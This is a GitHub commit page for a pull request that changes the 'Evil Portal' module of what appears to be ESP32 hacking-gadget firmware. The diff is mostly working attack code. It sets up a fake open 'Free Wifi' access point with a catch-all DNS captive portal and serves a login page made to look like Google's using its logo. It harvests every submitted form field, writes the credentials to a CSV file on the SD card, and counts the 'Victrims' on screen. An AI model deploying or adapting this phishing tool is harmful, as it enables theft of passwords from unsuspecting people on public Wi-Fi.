Skip to content

Commit

Permalink
Merge pull request #10 from bmorcelli/main
Browse files Browse the repository at this point in the history
EvilPortal, warnings
  • Loading branch information
pr3y authored May 9, 2024
2 parents 764483c + 070fa46 commit f8b6337
Show file tree
Hide file tree
Showing 4 changed files with 385 additions and 309 deletions.
4 changes: 2 additions & 2 deletions src/display.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -105,11 +105,11 @@ void displayRedStripe(String text, uint16_t fgcolor, uint16_t bgcolor) {
menu_op.setTextColor(fgcolor,bgcolor);
if(size==FM) {
menu_op.setTextSize(FM);
menu_op.setCursor(WIDTH/2 - FM*3*text.length(), 5);
menu_op.setCursor(menu_op.width()/2 - FM*3*text.length(), 5);
}
else {
menu_op.setTextSize(FP);
menu_op.setCursor(WIDTH/2 - FP*3*text.length(), 5);
menu_op.setCursor(menu_op.width()/2 - FP*3*text.length(), 5);
}
menu_op.println(text);
menu_op.pushSprite(10,HEIGHT/2 - 13);
Expand Down
240 changes: 145 additions & 95 deletions src/evil_portal.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -7,7 +7,7 @@
AsyncWebServer *ep; // initialise webserver
DNSServer dnsServer;

String html_file;
String html_file, ep_logo, last_cred;
String AP_name = "Free Wifi";
int totalCapturedCredentials = 0;
int previousTotalCapturedCredentials = -1; // stupid hack but wtfe
Expand All @@ -26,14 +26,146 @@ class CaptiveRequestHandler : public AsyncWebHandler {

void handleRequest(AsyncWebServerRequest *request) {
AsyncResponseStream *response = request->beginResponseStream("text/html");
if(request->params()>0) request->redirect("/post");
if(request->params()==0) request->redirect("/");
if(request->hasParam("ssid")) request->redirect("/ssid"); // If there is a parameter called "ssid", changes network
else if(request->params()>0) { // Else if there are other parameters, store in the memory
String html_temp = "<li>"; // Else.. after all that, redirects to the page
String csvLine = "";
last_cred="";
for (int i = 0; i < request->params(); i++) {
AsyncWebParameter *param = request->getParam(i);
html_temp += param->name() + ": " + param->value() + "<br>\n";
// Prepara dados para salvar no SD
if (i != 0) {
csvLine += ",";
last_cred +=",";
}
csvLine += param->name() + ": " + param->value();
last_cred += param->name().substring(0,1) + ": " + param->value();
}
html_temp += "</li>\n";
saveToCSV("/Bruce_creds.csv", csvLine);
capturedCredentialsHtml = html_temp + capturedCredentialsHtml;
totalCapturedCredentials++;
request->send(200, "text/html", getHtmlContents("Por favor, aguarde alguns minutos. Em breve você poderá acessar a internet."));
}
else {
request->redirect("/");
}
}
};

void startEvilPortal() {
bool redraw=true;
Serial.begin(115200);
// Definição da matriz "Options"
options = {
{"Default", [=]() { chooseHtml(false); }},
{"Custom Html", [=]() { chooseHtml(true); }},
};
delay(200);
loopOptions(options);
while(checkNextPress()){ yield(); } // debounce

AP_name = keyboard("Free Wifi", 30, "Evil Portal SSID:");
while(checkNextPress()){ yield(); } // debounce

IPAddress AP_GATEWAY(172, 0, 0, 1);
WiFi.mode(WIFI_AP);
WiFi.softAPConfig(AP_GATEWAY, AP_GATEWAY, IPAddress(255, 255, 255, 0));
WiFi.softAP(AP_name);
Serial.print("IP: "); Serial.println(WiFi.softAPIP());
wifiConnected=true;
dnsServer.start(53, "*", WiFi.softAPIP());
ep = new AsyncWebServer(80);

// if url isn't found
ep->onNotFound([](AsyncWebServerRequest * request) {
request->redirect("/");
});

ep->on("/creds", HTTP_GET, [](AsyncWebServerRequest * request) {
request->send(200, "text/html", creds_GET());
});

ep->on("/ssid", HTTP_GET, [](AsyncWebServerRequest * request) {
request->send(200, "text/html", ssid_GET());
});

ep->on("/postssid", HTTP_GET, [](AsyncWebServerRequest * request) {
if(request->hasArg("ssid")) AP_name = request->arg("ssid").c_str();
request->send(200, "text/html", ssid_POST());
ep->end(); // pára o servidor
wifiDisconnect(); // desliga o WiFi
WiFi.softAP(AP_name); // reinicia WiFi com novo SSID
ep->begin(); // reinicia o servidor
previousTotalCapturedCredentials=-1; // redesenha a tela
});

ep->on("/clear", HTTP_GET, [](AsyncWebServerRequest * request) {
request->send(200, "text/html", clear_GET());
});

ep->on("/", HTTP_GET, [](AsyncWebServerRequest * request) {
request->send(200, "text/html", html_file);
});

ep->addHandler(new CaptiveRequestHandler()).setFilter(ON_AP_FILTER); //only when requested from AP

ep->begin();

tft.fillRect(6, 27, WIDTH-12, HEIGHT-33, BGCOLOR);
drawMainMenu(0);
menu_op.deleteSprite();
menu_op.createSprite(WIDTH-20, HEIGHT-35);

while(!checkSelPress()) {
if(totalCapturedCredentials!=previousTotalCapturedCredentials) {
redraw=true;
previousTotalCapturedCredentials = totalCapturedCredentials;
}
if(redraw) {
menu_op.fillRect(0,0,menu_op.width(),menu_op.height(),BGCOLOR);
menu_op.setTextSize(FM);
menu_op.setTextColor(TFT_RED);
menu_op.drawCentreString("Evil Portal",sprite.width()/2, 4, SMOOTH_FONT);
menu_op.setCursor(0,20);
menu_op.setTextColor(FGCOLOR);
menu_op.println("AP: " + AP_name);
menu_op.println("->" + WiFi.softAPIP().toString() + "/creds");
menu_op.println("->" + WiFi.softAPIP().toString() + "/ssid");
menu_op.print("Victrims: ");
menu_op.setTextColor(TFT_RED);
menu_op.println(String(totalCapturedCredentials));
menu_op.setTextSize(FP);
menu_op.println(last_cred);

menu_op.pushSprite(8,26);
redraw=false;
}
dnsServer.processNextRequest();
}

while(checkSelPress()) { }
displayWarning("Bruce will restart");
while(!checkSelPress()) { }
// Evil Portal uses a lot of RAM memmory, and can't open Menus after that, need to restart.
ESP.restart();
}

// Função para salvar dados no arquivo CSV
void saveToCSV(const String &filename, const String &csvLine) {
File file = SD.open(filename, FILE_APPEND);
if (!file) {
Serial.println("Error to open file");
return;
}
file.println(csvLine);
file.close();
Serial.println("data saved");
}

String getHtmlContents(String body) {
String html =
PROGMEM String html =
"<!DOCTYPE html>"
"<html>"
"<head>"
Expand All @@ -51,7 +183,7 @@ String getHtmlContents(String body) {
" </div>"
" <div class=form-container>"
" <center>"
" <div class='containerlogo'><svg viewBox='0 0 75 24' width='75' height='24' xmlns='http://www.w3.org/2000/svg' aria-hidden='true' class='BFr46e xduoyf'><g id='qaEJec'><path fill='#ea4335' d='M67.954 16.303c-1.33 0-2.278-.608-2.886-1.804l7.967-3.3-.27-.68c-.495-1.33-2.008-3.79-5.102-3.79-3.068 0-5.622 2.41-5.622 5.96 0 3.34 2.53 5.96 5.92 5.96 2.73 0 4.31-1.67 4.97-2.64l-2.03-1.35c-.673.98-1.6 1.64-2.93 1.64zm-.203-7.27c1.04 0 1.92.52 2.21 1.264l-5.32 2.21c-.06-2.3 1.79-3.474 3.12-3.474z'></path></g><g id='YGlOvc'><path fill='#34a853' d='M58.193.67h2.564v17.44h-2.564z'></path></g><g id='BWfIk'><path fill='#4285f4' d='M54.152 8.066h-.088c-.588-.697-1.716-1.33-3.136-1.33-2.98 0-5.71 2.614-5.71 5.98 0 3.338 2.73 5.933 5.71 5.933 1.42 0 2.548-.64 3.136-1.36h.088v.86c0 2.28-1.217 3.5-3.183 3.5-1.61 0-2.6-1.15-3-2.12l-2.28.94c.65 1.58 2.39 3.52 5.28 3.52 3.06 0 5.66-1.807 5.66-6.206V7.21h-2.48v.858zm-3.006 8.237c-1.804 0-3.318-1.513-3.318-3.588 0-2.1 1.514-3.635 3.318-3.635 1.784 0 3.183 1.534 3.183 3.635 0 2.075-1.4 3.588-3.19 3.588z'></path></g><g id='e6m3fd'><path fill='#fbbc05' d='M38.17 6.735c-3.28 0-5.953 2.506-5.953 5.96 0 3.432 2.673 5.96 5.954 5.96 3.29 0 5.96-2.528 5.96-5.96 0-3.46-2.67-5.96-5.95-5.96zm0 9.568c-1.798 0-3.348-1.487-3.348-3.61 0-2.14 1.55-3.608 3.35-3.608s3.348 1.467 3.348 3.61c0 2.116-1.55 3.608-3.35 3.608z'></path></g><g id='vbkDmc'><path fill='#ea4335' d='M25.17 6.71c-3.28 0-5.954 2.505-5.954 5.958 0 3.433 2.673 5.96 5.954 5.96 3.282 0 5.955-2.527 5.955-5.96 0-3.453-2.673-5.96-5.955-5.96zm0 9.567c-1.8 0-3.35-1.487-3.35-3.61 0-2.14 1.55-3.608 3.35-3.608s3.35 1.46 3.35 3.6c0 2.12-1.55 3.61-3.35 3.61z'></path></g><g id='idEJde'><path fill='#4285f4' d='M14.11 14.182c.722-.723 1.205-1.78 1.387-3.334H9.423V8.373h8.518c.09.452.16 1.07.16 1.664 0 1.903-.52 4.26-2.19 5.934-1.63 1.7-3.71 2.61-6.48 2.61-5.12 0-9.42-4.17-9.42-9.29C0 4.17 4.31 0 9.43 0c2.83 0 4.843 1.108 6.362 2.56L14 4.347c-1.087-1.02-2.56-1.81-4.577-1.81-3.74 0-6.662 3.01-6.662 6.75s2.93 6.75 6.67 6.75c2.43 0 3.81-.972 4.69-1.856z'></path></g></svg></div>"
" " + ep_logo +
" </center>"
" <div style='min-height: 150px'>"
+ body + " </div>"
Expand All @@ -66,6 +198,12 @@ String creds_GET() {
return getHtmlContents("<ol>" + capturedCredentialsHtml + "</ol><br><center><p><a style=\"color:blue\" href=/>Back to Index</a></p><p><a style=\"color:blue\" href=/clear>Clear passwords</a></p></center>");
}

String ssid_GET() {
return getHtmlContents("<p>Set a new SSID for NEMO Portal:</p><form action='/postssid' id='login-form'><input name='ssid' class='input-field' type='text' placeholder='"+AP_name+"' required><button id=submitbtn class=submit-btn type=submit>Apply</button></div></form>");
}
String ssid_POST() {
return getHtmlContents("NEMO Portal shutting down and restarting with SSID <b>" + AP_name + "</b>. Please reconnect.");
}

String index_GET() {
String loginTitle = String("Sign in");
Expand All @@ -86,9 +224,11 @@ String clear_GET() {
}

void chooseHtml(bool def) {
ep_logo = "<div class='containerlogo'><svg viewBox='0 0 75 24' width='75' height='24' xmlns='http://www.w3.org/2000/svg' aria-hidden='true' class='BFr46e xduoyf'><g id='qaEJec'><path fill='#ea4335' d='M67.954 16.303c-1.33 0-2.278-.608-2.886-1.804l7.967-3.3-.27-.68c-.495-1.33-2.008-3.79-5.102-3.79-3.068 0-5.622 2.41-5.622 5.96 0 3.34 2.53 5.96 5.92 5.96 2.73 0 4.31-1.67 4.97-2.64l-2.03-1.35c-.673.98-1.6 1.64-2.93 1.64zm-.203-7.27c1.04 0 1.92.52 2.21 1.264l-5.32 2.21c-.06-2.3 1.79-3.474 3.12-3.474z'></path></g><g id='YGlOvc'><path fill='#34a853' d='M58.193.67h2.564v17.44h-2.564z'></path></g><g id='BWfIk'><path fill='#4285f4' d='M54.152 8.066h-.088c-.588-.697-1.716-1.33-3.136-1.33-2.98 0-5.71 2.614-5.71 5.98 0 3.338 2.73 5.933 5.71 5.933 1.42 0 2.548-.64 3.136-1.36h.088v.86c0 2.28-1.217 3.5-3.183 3.5-1.61 0-2.6-1.15-3-2.12l-2.28.94c.65 1.58 2.39 3.52 5.28 3.52 3.06 0 5.66-1.807 5.66-6.206V7.21h-2.48v.858zm-3.006 8.237c-1.804 0-3.318-1.513-3.318-3.588 0-2.1 1.514-3.635 3.318-3.635 1.784 0 3.183 1.534 3.183 3.635 0 2.075-1.4 3.588-3.19 3.588z'></path></g><g id='e6m3fd'><path fill='#fbbc05' d='M38.17 6.735c-3.28 0-5.953 2.506-5.953 5.96 0 3.432 2.673 5.96 5.954 5.96 3.29 0 5.96-2.528 5.96-5.96 0-3.46-2.67-5.96-5.95-5.96zm0 9.568c-1.798 0-3.348-1.487-3.348-3.61 0-2.14 1.55-3.608 3.35-3.608s3.348 1.467 3.348 3.61c0 2.116-1.55 3.608-3.35 3.608z'></path></g><g id='vbkDmc'><path fill='#ea4335' d='M25.17 6.71c-3.28 0-5.954 2.505-5.954 5.958 0 3.433 2.673 5.96 5.954 5.96 3.282 0 5.955-2.527 5.955-5.96 0-3.453-2.673-5.96-5.955-5.96zm0 9.567c-1.8 0-3.35-1.487-3.35-3.61 0-2.14 1.55-3.608 3.35-3.608s3.35 1.46 3.35 3.6c0 2.12-1.55 3.61-3.35 3.61z'></path></g><g id='idEJde'><path fill='#4285f4' d='M14.11 14.182c.722-.723 1.205-1.78 1.387-3.334H9.423V8.373h8.518c.09.452.16 1.07.16 1.664 0 1.903-.52 4.26-2.19 5.934-1.63 1.7-3.71 2.61-6.48 2.61-5.12 0-9.42-4.17-9.42-9.29C0 4.17 4.31 0 9.43 0c2.83 0 4.843 1.108 6.362 2.56L14 4.347c-1.087-1.02-2.56-1.81-4.577-1.81-3.74 0-6.662 3.01-6.662 6.75s2.93 6.75 6.67 6.75c2.43 0 3.81-.972 4.69-1.856z'></path></g></svg></div>";
if(def) {
html_file = loopSD(true);
if(html_file.endsWith(".html")) {
ep_logo = "";
File html = SD.open(html_file, FILE_READ);
html_file = html.readString();
} else {
Expand All @@ -97,94 +237,4 @@ void chooseHtml(bool def) {
} else {
html_file = index_GET();
}
}
void startEvilPortal() {
Serial.begin(115200);
// Definição da matriz "Options"
std::vector<std::pair<std::string, std::function<void()>>> options = {
{"Default", [=]() { chooseHtml(false); }},
{"Custom Html", [=]() { chooseHtml(true); }},
};
delay(200);
loopOptions(options);

bool redraw=true;

while(checkNextPress()){ yield(); } // debounce

AP_name = keyboard("Free Wifi", 30, "Evil Portal SSID:");

while(checkNextPress()){ yield(); } // debounce

IPAddress AP_GATEWAY(172, 0, 0, 1);
WiFi.mode(WIFI_AP);
WiFi.softAPConfig(AP_GATEWAY, AP_GATEWAY, IPAddress(255, 255, 255, 0));
WiFi.softAP(AP_name);
Serial.print("IP: "); Serial.println(WiFi.softAPIP());
wifiConnected=true;
dnsServer.start(53, "*", WiFi.softAPIP());
ep = new AsyncWebServer(80);

// if url isn't found
ep->onNotFound([](AsyncWebServerRequest * request) {
request->redirect("/");
});

ep->on("/post", HTTP_GET, [](AsyncWebServerRequest * request) {
String password, email;
if(request->hasArg("password")) password = request->arg("password").c_str();
if(request->hasArg("email")) password = request->arg("email").c_str();
capturedCredentialsHtml = "<li>Email: <b>" + email + "</b></br>Password: <b>" + password + "</b></li>" + capturedCredentialsHtml;
totalCapturedCredentials++;

//#if defined(HAS_SDCARD)
// appendToFile(SD, SD_CREDS_PATH, String(email + " = " + password).c_str());
//#endif
request->send(200, "text/html", getHtmlContents("Por favor, aguarde alguns minutos. Em breve você poderá acessar a internet."));
});

ep->on("/creds", HTTP_GET, [](AsyncWebServerRequest * request) {
request->send(200, "text/html", creds_GET());
});

ep->on("/clear", HTTP_GET, [](AsyncWebServerRequest * request) {
request->send(200, "text/html", clear_GET());
});

ep->on("/", HTTP_GET, [](AsyncWebServerRequest * request) {
request->send(200, "text/html", index_GET());
});

ep->addHandler(new CaptiveRequestHandler()).setFilter(ON_AP_FILTER); //only when requested from AP

ep->begin();

tft.fillRect(6, 27, WIDTH-12, HEIGHT-33, BGCOLOR);
drawMainMenu(0);
menu_op.deleteSprite();
menu_op.createSprite(WIDTH-20, HEIGHT-35);



while(!checkSelPress()) {
if(totalCapturedCredentials-previousTotalCapturedCredentials>1) {
redraw=true;
previousTotalCapturedCredentials = totalCapturedCredentials -1;
}
if(redraw) {
menu_op.fillRect(0,0,menu_op.width(),menu_op.height(),BGCOLOR);
menu_op.setCursor(0,0);
menu_op.setTextSize(FM);
menu_op.setTextColor(FGCOLOR);
menu_op.println("Evil Portal: ");
menu_op.println(AP_name);
menu_op.println(WiFi.softAPIP().toString());
menu_op.println("Victrims: " + String(totalCapturedCredentials));
menu_op.pushSprite(8,26);
redraw=false;
}
dnsServer.processNextRequest();
}
delay(200);
returnToMenu = true;
}
6 changes: 6 additions & 0 deletions src/evil_portal.h
Original file line number Diff line number Diff line change
Expand Up @@ -20,3 +20,9 @@ String index_GET();

String clear_GET();

String ssid_GET();

String ssid_POST();

void saveToCSV(const String &filename, const String &csvLine);

Loading

0 comments on commit f8b6337

Please sign in to comment.